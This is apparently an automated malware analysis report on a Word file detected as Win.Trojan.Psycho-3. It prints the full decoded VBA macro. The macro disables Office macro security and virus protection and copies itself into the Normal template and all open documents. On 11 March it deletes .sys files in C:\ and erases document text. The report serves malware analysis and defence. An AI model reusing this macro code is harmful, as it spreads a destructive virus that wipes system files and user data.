MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as Win.Trojan.Psycho-3 by ClamAV, and it contains a Document_Open VBA macro. This macro attempts to disable security warnings and manipulate Office settings, indicating an intent to execute malicious code. The embedded VBA code also attempts to copy itself to the Normal template, suggesting an effort to establish persistence or facilitate further execution.
Heuristics 3
-
ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Psycho-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3844 bytes |
SHA-256: 41aa5d128c5cc47499a864cc59a6d3b6e44d4e15b94fb18325f0244c33d70d0c |
|||
|
Detection
ClamAV:
Doc.Trojan.Thus-10
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Bethlem'
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
'I know that you see the code!!!!!
'Bethlem loves you
Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1):
Options.CheckSpellingAsYouType = (1 - 1): Options.CheckGrammarWithSpelling = (1 - 1):
ActiveDocument.ShowGrammaticalErrors = (1 - 1): ActiveDocument.ShowSpellingErrors = (1 - 1):
ActiveDocument.SpellingChecked = True
End If
' System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Bethlem?") = "...by PPC"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Bethlem'" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
.CodeModule.CountOfLines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
.Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Bethlem'" Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.DeleteLines 1, Application.Documents.Item(k) _
.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
End If
If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
.CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
.Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
.VBComponents.Item(1).CodeModule.CountOfLines)
End If
Next k
If (Day(Now) = 11) And (Month(Now) = 3) Then
MsgBox "Happy Birthday"
File = Dir("c:\*.sys", 6)
For BA = 1 To 10
SetAttr "c:\" & File, vbNormal
File = Dir
If File = "" Then BA = 10
Next BA
Set fs = Application.FileSearch
With fs
.LookIn = "C:\"
.FileName = "*.sys"
.FileType = msoFileTypeAllFiles
If .Execute(SortBy:=msoSortByFileName, _
SortOrder:=msoSortOrderAscending) > 0 Then
BC = .FoundFiles.Count
File = Dir("c:\*.sys")
For B = 1 To BC
SetAttr "c:\" & File, vbNormal
Kill ("c:\" & File)
File = Dir
Next B
End If
End With
Set myRange = ActiveDocument.Range(Start:=0, End:=Selection.End)
For Each xWord In myRange.Words
xWord.Delete
ActiveDocument.UndoClear
Next xWord
'Microsoft thanks for the examples are very useful
End If
End Sub
Private Sub Document_Close()
Document_Open
End Sub
Private Sub Document_New()
Document_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.